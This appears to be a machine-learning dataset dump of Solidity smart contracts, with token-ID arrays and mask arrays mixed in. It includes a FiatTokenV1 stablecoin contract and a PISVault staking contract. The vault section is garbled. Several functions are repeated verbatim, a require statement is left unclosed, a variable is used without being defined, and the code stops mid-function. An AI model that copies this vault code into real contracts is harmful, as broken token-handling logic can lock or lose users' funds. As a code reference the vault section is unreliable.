24899,
14784,
6275,
1769,
203,
203,
3639,
467,
654,
39,
3462,
12,
2316,
2934,
13866,
12,
3576,
18,
15330,
16,
389,
14784,
6275,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x15C702f2c01C109B3261EfFB0A6a48de0F3cEAE5/sources/CNFT.sol
|
=== ERC721 Token Info ===
|
uint256 private _currentId;
| 9,173,002 |
[
1,
12275,
4232,
39,
27,
5340,
3155,
3807,
757,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
3238,
389,
2972,
548,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* Copyright CENTRE SECZ 2018
* Copyright (c) 2020 Xfers Pte. Ltd.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is furnished to
* do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
pragma solidity ^0.4.24;
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./Ownable.sol";
import "./Blacklistable.sol";
import "./Pausable.sol";
import "./ERC20Recovery.sol";
/**
* @title FiatToken
* @dev Token backed by fiat reserves
*/
contract FiatTokenV1 is Ownable, Pausable, Blacklistable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
address public masterMinter;
bool internal initialized;
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
uint256 internal totalSupply_ = 0;
mapping(address => bool) internal minters;
mapping(address => uint256) internal minterAllowed;
event Mint(address indexed minter, address indexed to, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
event MinterConfigured(address indexed minter, uint256 minterAllowedAmount);
event MinterRemoved(address indexed oldMinter);
event MasterMinterChanged(address indexed newMasterMinter);
/**
* @dev Throws if called by any account other than a minter
*/
modifier onlyMinters() {
require(minters[msg.sender] == true, "minters only");
_;
}
/**
* @dev Throws if called by any account other than the masterMinter
*/
modifier onlyMasterMinter() {
require(msg.sender == masterMinter, "master minter only");
_;
}
/**
* @dev Function to initialise contract
* @param _name string Token name
* @param _symbol string Token symbol
* @param _decimals uint8 Token decimals
* @param _masterMinter address Address of the master minter
* @param _pauser address Address of the pauser
* @param _blacklister address Address of the blacklister
* @param _owner address Address of the owner
*/
function initialize(
string _name,
string _symbol,
uint8 _decimals,
address _masterMinter,
address _pauser,
address _blacklister,
address _owner
) public {
require(!initialized, "already initialized!");
require(_masterMinter != address(0), "master minter can't be 0x0");
require(_pauser != address(0), "pauser can't be 0x0");
require(_blacklister != address(0), "blacklister can't be 0x0");
require(_owner != address(0), "owner can't be 0x0");
name = _name;
symbol = _symbol;
decimals = _decimals;
masterMinter = _masterMinter;
pauser = _pauser;
blacklister = _blacklister;
setOwner(_owner);
initialized = true;
}
/**
* @dev Function to mint tokens
* Validates that the contract is not paused
* only minters can call this function
* minter and the address that will received the minted tokens are not blacklisted
* @param _to address The address that will receive the minted tokens.
* @param _amount uint256 The amount of tokens to mint. Must be less than or equal to the minterAllowance of the caller.
* @return True if the operation was successful.
*/
function mint(address _to, uint256 _amount)
public
whenNotPaused
onlyMinters
notBlacklisted(msg.sender)
notBlacklisted(_to)
returns (bool)
{
require(_to != address(0), "can't mint to 0x0");
require(_amount > 0, "amount to mint has to be > 0");
uint256 mintingAllowedAmount = minterAllowance(msg.sender);
require(_amount <= mintingAllowedAmount, "minter allowance too low");
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
minterAllowed[msg.sender] = mintingAllowedAmount.sub(_amount);
if (minterAllowance(msg.sender) == 0) {
minters[msg.sender] = false;
emit MinterRemoved(msg.sender);
}
emit Mint(msg.sender, _to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to get minter allowance of an address
* @param _minter address The address of check minter allowance of
* @return The minter allowance of the address
*/
function minterAllowance(address _minter) public view returns (uint256) {
return minterAllowed[_minter];
}
/**
* @dev Function to check if an address is a minter
* @param _address The address to check
* @return A boolean value to indicates if an address is a minter
*/
function isMinter(address _address) public view returns (bool) {
return minters[_address];
}
/**
* @dev Function to get total supply of token
* @return The total supply of the token
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Function to get token balance of an address
* @param _address address The account
* @return The token balance of an address
*/
function balanceOf(address _address) public view returns (uint256) {
return balances[_address];
}
/**
* @dev Function to approves a spender to spend up to a certain amount of tokens
* Validates that the contract is not paused
* the owner and spender are not blacklisted
* Avoid calling this function if possible (https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729)
* @param _spender address The Address of the spender
* @param _amount uint256 The amount of tokens that the spender is approved to spend
* @return True if the operation was successful.
*/
function approve(address _spender, uint256 _amount)
public
whenNotPaused
notBlacklisted(msg.sender)
notBlacklisted(_spender)
returns (bool)
{
return _approve(_spender, _amount);
}
/**
* @dev Alternative function to the approve function
* Increases the allowance of the spender
* Validates that the contract is not paused
* the owner and spender are not blacklisted
* @param _spender address The Address of the spender
* @param _addedValue uint256 The amount of tokens to be added to a spender's allowance
* @return True if the operation was successful.
*/
function increaseAllowance(address _spender, uint256 _addedValue)
public
whenNotPaused
notBlacklisted(msg.sender)
notBlacklisted(_spender)
returns (bool)
{
uint256 updatedAllowance = allowed[msg.sender][_spender].add(
_addedValue
);
return _approve(_spender, updatedAllowance);
}
/**
* @dev Alternative function to the approve function
* Decreases the allowance of the spender
* Validates that the contract is not paused
* the owner and spender are not blacklisted
* @param _spender address The Address of the spender
* @param _subtractedValue uint256 The amount of tokens to be subtracted from a spender's allowance
* @return True if the operation was successful.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue)
public
whenNotPaused
notBlacklisted(msg.sender)
notBlacklisted(_spender)
returns (bool)
{
uint256 updatedAllowance = allowed[msg.sender][_spender].sub(
_subtractedValue
);
return _approve(_spender, updatedAllowance);
}
/**
* @dev Function to approves a spender to spend up to a certain amount of tokens
* @param _spender address The Address of the spender
* @param _amount uint256 The amount of tokens that the spender is approved to spend
*/
function _approve(address _spender, uint256 _amount)
internal
returns (bool)
{
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to get token allowance given to a spender by the owner
* @param _owner address The address of the owner
* @param _spender address The address of the spender
* @return The number of tokens that a spender can spend on behalf of the owner
*/
function allowance(address _owner, address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Function to transfer tokens from one address to another.
* Validates that the contract is not paused
* the caller, sender and receiver of the tokens are not blacklisted
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
* @return True if the operation was successful.
*/
function transferFrom(address _from, address _to, uint256 _amount)
public
whenNotPaused
notBlacklisted(_to)
notBlacklisted(msg.sender)
notBlacklisted(_from)
returns (bool)
{
require(_to != address(0), "can't transfer to 0x0");
require(_amount <= balances[_from], "insufficient balance");
require(
_amount <= allowed[_from][msg.sender],
"token allowance is too low"
);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Function to transfer token to a specified address
* Validates that the contract is not paused
* The sender and receiver are not blacklisted
* @param _to The address to transfer to.
* @param _amount The amount of tokens to be transferred.
* @return True if the operation is successful
*/
function transfer(address _to, uint256 _amount)
public
whenNotPaused
notBlacklisted(msg.sender)
notBlacklisted(_to)
returns (bool)
{
require(_to != address(0), "can't transfer to 0x0");
require(_amount <= balances[msg.sender], "insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Function to increase minter allowance of a minter
* Validates that only the master minter can call this function
* @param _minter address The address of the minter
* @param _increasedAmount uint256 The amount of to be added to a minter's allowance
*/
function increaseMinterAllowance(address _minter, uint256 _increasedAmount)
public
onlyMasterMinter
{
require(_minter != address(0), "minter can't be 0x0");
uint256 updatedAllowance = minterAllowance(_minter).add(
_increasedAmount
);
minterAllowed[_minter] = updatedAllowance;
minters[_minter] = true;
emit MinterConfigured(_minter, updatedAllowance);
}
/**
* @dev Function to decrease minter allowance of a minter
* Validates that only the master minter can call this function
* @param _minter address The address of the minter
* @param _decreasedAmount uint256 The amount of allowance to be subtracted from a minter's allowance
*/
function decreaseMinterAllowance(address _minter, uint256 _decreasedAmount)
public
onlyMasterMinter
{
require(_minter != address(0), "minter can't be 0x0");
require(minters[_minter], "not a minter");
uint256 updatedAllowance = minterAllowance(_minter).sub(
_decreasedAmount
);
minterAllowed[_minter] = updatedAllowance;
if (minterAllowance(_minter) > 0) {
emit MinterConfigured(_minter, updatedAllowance);
} else {
minters[_minter] = false;
emit MinterRemoved(_minter);
}
}
/**
* @dev Function to allow a minter to burn some of its own tokens
* Validates that the contract is not paused
* caller is a minter and is not blacklisted
* amount is less than or equal to the minter's mint allowance balance
* @param _amount uint256 the amount of tokens to be burned
*/
function burn(uint256 _amount)
public
whenNotPaused
onlyMinters
notBlacklisted(msg.sender)
{
uint256 balance = balances[msg.sender];
require(_amount > 0, "burn amount has to be > 0");
require(balance >= _amount, "balance in minter is < amount to burn");
totalSupply_ = totalSupply_.sub(_amount);
balances[msg.sender] = balance.sub(_amount);
emit Burn(msg.sender, _amount);
emit Transfer(msg.sender, address(0), _amount);
}
/**
* @dev Function to allow the blacklister to burn entire balance of tokens from a blacklisted address
* Validates that contract is not paused
* caller is the blacklister
* address to burn tokens from is a blacklisted address
* @param _from address the address to burn tokens from
*/
function lawEnforcementWipingBurn(address _from)
public
whenNotPaused
onlyBlacklister
{
require(
isBlacklisted(_from),
"Can't wipe balances of a non blacklisted address"
);
uint256 balance = balances[_from];
totalSupply_ = totalSupply_.sub(balance);
balances[_from] = 0;
emit Burn(_from, balance);
emit Transfer(_from, address(0), balance);
}
/**
* @dev Function to update the masterMinter role
* Validates that the caller is the owner
*/
function updateMasterMinter(address _newMasterMinter) public onlyOwner {
require(_newMasterMinter != address(0), "master minter can't be 0x0");
require(_newMasterMinter != masterMinter, "master minter is the same");
masterMinter = _newMasterMinter;
emit MasterMinterChanged(masterMinter);
}
/**
* @dev Function to reject all EIP223 compatible tokens
* @param _from address The address that is transferring the tokens
* @param _value uint256 the amount of the specified token
* @param _data bytes The data passed from the caller
*/
function tokenFallback(address _from, uint256 _value, bytes _data)
external
pure
{
revert("reject EIP223 token transfers");
}
/**
* @dev Function to reclaim all ERC20Recovery compatible tokens
* Validates that the caller is the owner
* @param _tokenAddress address The address of the token contract
*/
function reclaimToken(address _tokenAddress) external onlyOwner {
require(_tokenAddress != address(0), "token can't be 0x0");
ERC20Recovery token = ERC20Recovery(_tokenAddress);
uint256 balance = token.balanceOf(this);
require(token.transfer(owner(), balance), "reclaim token failed");
}
}
|
* @dev Function to mint tokens Validates that the contract is not paused only minters can call this function minter and the address that will received the minted tokens are not blacklisted @param _to address The address that will receive the minted tokens. @param _amount uint256 The amount of tokens to mint. Must be less than or equal to the minterAllowance of the caller. @return True if the operation was successful./
|
function mint(address _to, uint256 _amount)
public
whenNotPaused
onlyMinters
notBlacklisted(msg.sender)
notBlacklisted(_to)
returns (bool)
{
require(_to != address(0), "can't mint to 0x0");
require(_amount > 0, "amount to mint has to be > 0");
uint256 mintingAllowedAmount = minterAllowance(msg.sender);
require(_amount <= mintingAllowedAmount, "minter allowance too low");
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
minterAllowed[msg.sender] = mintingAllowedAmount.sub(_amount);
if (minterAllowance(msg.sender) == 0) {
minters[msg.sender] = false;
emit MinterRemoved(msg.sender);
}
emit Mint(msg.sender, _to, _amount);
emit Transfer(0x0, _to, _amount);
return true;
}
| 12,901,248 |
[
1,
2083,
358,
312,
474,
2430,
2364,
815,
716,
326,
6835,
353,
486,
17781,
1338,
1131,
5432,
848,
745,
333,
445,
1131,
387,
471,
326,
1758,
716,
903,
5079,
326,
312,
474,
329,
2430,
854,
486,
25350,
225,
389,
869,
1758,
1021,
1758,
716,
903,
6798,
326,
312,
474,
329,
2430,
18,
225,
389,
8949,
2254,
5034,
1021,
3844,
434,
2430,
358,
312,
474,
18,
6753,
506,
5242,
2353,
578,
3959,
358,
326,
1131,
387,
7009,
1359,
434,
326,
4894,
18,
327,
1053,
309,
326,
1674,
1703,
6873,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
12,
2867,
389,
869,
16,
2254,
5034,
389,
8949,
13,
203,
3639,
1071,
203,
3639,
1347,
1248,
28590,
203,
3639,
1338,
49,
2761,
87,
203,
3639,
486,
13155,
18647,
12,
3576,
18,
15330,
13,
203,
3639,
486,
13155,
18647,
24899,
869,
13,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
3631,
315,
4169,
1404,
312,
474,
358,
374,
92,
20,
8863,
203,
3639,
2583,
24899,
8949,
405,
374,
16,
315,
8949,
358,
312,
474,
711,
358,
506,
405,
374,
8863,
203,
203,
3639,
2254,
5034,
312,
474,
310,
5042,
6275,
273,
1131,
387,
7009,
1359,
12,
3576,
18,
15330,
1769,
203,
3639,
2583,
24899,
8949,
1648,
312,
474,
310,
5042,
6275,
16,
315,
1154,
387,
1699,
1359,
4885,
4587,
8863,
203,
203,
3639,
2078,
3088,
1283,
67,
273,
2078,
3088,
1283,
27799,
1289,
24899,
8949,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
8949,
1769,
203,
3639,
1131,
387,
5042,
63,
3576,
18,
15330,
65,
273,
312,
474,
310,
5042,
6275,
18,
1717,
24899,
8949,
1769,
203,
3639,
309,
261,
1154,
387,
7009,
1359,
12,
3576,
18,
15330,
13,
422,
374,
13,
288,
203,
5411,
1131,
5432,
63,
3576,
18,
15330,
65,
273,
629,
31,
203,
5411,
3626,
490,
2761,
10026,
12,
3576,
18,
15330,
1769,
203,
3639,
289,
203,
3639,
3626,
490,
474,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
8949,
1769,
203,
3639,
3626,
12279,
12,
2
] |
./partial_match/42/0xe71d36b896c3103A089BfF60662f37fB01fbb396/sources/PISVault.sol
|
Dev address. Total allocation poitns. Must be the sum of all allocation points in all pools. Sets the dev fee for this contract defaults at 7.24% Note contract owner is meant to be a governance contract allowing PIS governance consensus Returns fees generated since start of this contract
|
contract PISVault is OwnableUpgradeSafe, TimeLockLPToken {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public devaddr;
uint256 public totalAllocPoint;
uint256 public pendingRewards;
uint256 public epoch;
uint256 public constant REWARD_LOCKED_PERIOD = 28 days;
uint256 public constant REWARD_RELEASE_PERCENTAGE = 85;
uint256 public contractStartBlock;
uint256 private pisBalance;
uint16 DEV_FEE;
uint256 public pending_DEV_rewards;
address private _superAdmin;
function averageFeesPerBlockSinceStart(uint256 _pid)
external
view
returns (uint256 averagePerBlock)
{
averagePerBlock = poolInfo[_pid]
.cumulativeRewardsSinceStart
.add(poolInfo[_pid].rewardsInThisEpoch)
.add(pendingPISForPool(_pid))
.div(block.number.sub(poolInfo[_pid].startBlock));
}
function averageFeesPerBlockEpoch(uint256 _pid)
external
view
returns (uint256 averagePerBlock)
{
averagePerBlock = poolInfo[_pid]
.rewardsInThisEpoch
.add(pendingPISForPool(_pid))
.div(block.number.sub(poolInfo[_pid].epochCalculationStartBlock));
}
function getEpochReward(uint256 _pid, uint256 _epoch)
public
view
returns (uint256)
{
return poolInfo[_pid].epochRewards[_epoch];
}
function startNewEpoch() public {
for (uint256 _pid = 0; _pid < poolInfo.length; _pid++) {
require(
poolInfo[_pid].epochCalculationStartBlock + 50000 <
block.number,
"New epoch not ready yet"
poolInfo[_pid].epochRewards[epoch] = poolInfo[_pid]
.rewardsInThisEpoch;
poolInfo[_pid].cumulativeRewardsSinceStart = poolInfo[_pid]
.cumulativeRewardsSinceStart
.add(poolInfo[_pid].rewardsInThisEpoch);
poolInfo[_pid].rewardsInThisEpoch = 0;
poolInfo[_pid].epochCalculationStartBlock = block.number;
++epoch;
}
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
event Approval(
address indexed owner,
address indexed spender,
uint256 _pid,
uint256 value
);
function startNewEpoch() public {
for (uint256 _pid = 0; _pid < poolInfo.length; _pid++) {
require(
poolInfo[_pid].epochCalculationStartBlock + 50000 <
block.number,
"New epoch not ready yet"
poolInfo[_pid].epochRewards[epoch] = poolInfo[_pid]
.rewardsInThisEpoch;
poolInfo[_pid].cumulativeRewardsSinceStart = poolInfo[_pid]
.cumulativeRewardsSinceStart
.add(poolInfo[_pid].rewardsInThisEpoch);
poolInfo[_pid].rewardsInThisEpoch = 0;
poolInfo[_pid].epochCalculationStartBlock = block.number;
++epoch;
}
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(
address indexed user,
uint256 indexed pid,
uint256 amount
);
event Approval(
address indexed owner,
address indexed spender,
uint256 _pid,
uint256 value
);
function initialize(IPISBaseTokenEx _pis, address superAdmin)
public
initializer
{
OwnableUpgradeSafe.__Ownable_init();
DEV_FEE = 100;
pis = _pis;
devaddr = pis.devFundAddress();
contractStartBlock = block.number;
_superAdmin = superAdmin;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function poolToken(uint256 _pid) external view returns (address) {
return address(poolInfo[_pid].token);
}
function isMultipleOfWeek(uint256 _period) public pure returns (bool) {
uint256 numWeeks = _period.div(LP_RELEASE_TRUNK);
return (_period == numWeeks.mul(LP_RELEASE_TRUNK));
}
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "Error pool already added");
}
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
token: _token,
allocPoint: _allocPoint,
accPISPerShare: 0,
lockedPeriod: LP_LOCKED_PERIOD_WEEKS.mul(LP_RELEASE_TRUNK),
emergencyWithdrawable: false,
rewardsInThisEpoch: 0,
cumulativeRewardsSinceStart: 0,
startBlock: block.number,
epochCalculationStartBlock: block.number
})
);
}
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "Error pool already added");
}
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
token: _token,
allocPoint: _allocPoint,
accPISPerShare: 0,
lockedPeriod: LP_LOCKED_PERIOD_WEEKS.mul(LP_RELEASE_TRUNK),
emergencyWithdrawable: false,
rewardsInThisEpoch: 0,
cumulativeRewardsSinceStart: 0,
startBlock: block.number,
epochCalculationStartBlock: block.number
})
);
}
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "Error pool already added");
}
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
token: _token,
allocPoint: _allocPoint,
accPISPerShare: 0,
lockedPeriod: LP_LOCKED_PERIOD_WEEKS.mul(LP_RELEASE_TRUNK),
emergencyWithdrawable: false,
rewardsInThisEpoch: 0,
cumulativeRewardsSinceStart: 0,
startBlock: block.number,
epochCalculationStartBlock: block.number
})
);
}
function add(
uint256 _allocPoint,
IERC20 _token,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "Error pool already added");
}
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(
PoolInfo({
token: _token,
allocPoint: _allocPoint,
accPISPerShare: 0,
lockedPeriod: LP_LOCKED_PERIOD_WEEKS.mul(LP_RELEASE_TRUNK),
emergencyWithdrawable: false,
rewardsInThisEpoch: 0,
cumulativeRewardsSinceStart: 0,
startBlock: block.number,
epochCalculationStartBlock: block.number
})
);
}
function getDepositTime(uint256 _pid, address _addr)
public
view
returns (uint256)
{
return userInfo[_pid][_addr].depositTime;
}
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(
_allocPoint
);
poolInfo[_pid].allocPoint = _allocPoint;
}
function setEmergencyWithdrawable(uint256 _pid, bool _withdrawable)
public
onlyOwner
{
poolInfo[_pid].emergencyWithdrawable = _withdrawable;
}
function setDevFee(uint16 _DEV_FEE) public onlyOwner {
require(_DEV_FEE <= 1000, "Dev fee clamped at 10%");
DEV_FEE = _DEV_FEE;
}
function pendingPISForPool(uint256 _pid) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) return 0;
uint256 rewardFee = rewardWhole.mul(DEV_FEE).div(10000);
return rewardWhole.sub(rewardFee);
}
function pendingPIS(uint256 _pid, address _user)
public
view
returns (uint256)
{
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accPISPerShare = pool.accPISPerShare;
uint256 amount = user.amount;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) return 0;
uint256 rewardFee = rewardWhole.mul(DEV_FEE).div(10000);
uint256 rewardToDistribute = rewardWhole.sub(rewardFee);
uint256 inc = rewardToDistribute.mul(1e18).div(tokenSupply);
accPISPerShare = accPISPerShare.add(inc);
return amount.mul(accPISPerShare).div(1e18).sub(user.rewardDebt);
}
function getLockedReward(uint256 _pid, address _user)
public
view
returns (uint256)
{
return userInfo[_pid][_user].rewardLocked;
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
uint256 allRewards;
for (uint256 pid = 0; pid < length; ++pid) {
allRewards = allRewards.add(updatePool(pid));
}
pendingRewards = pendingRewards.sub(allRewards);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
uint256 allRewards;
for (uint256 pid = 0; pid < length; ++pid) {
allRewards = allRewards.add(updatePool(pid));
}
pendingRewards = pendingRewards.sub(allRewards);
}
function updatePendingRewards() public {
uint256 newRewards = pis.balanceOf(address(this)).sub(pisBalance);
if (newRewards > 0) {
pendingRewards = pendingRewards.add(newRewards);
}
}
function updatePendingRewards() public {
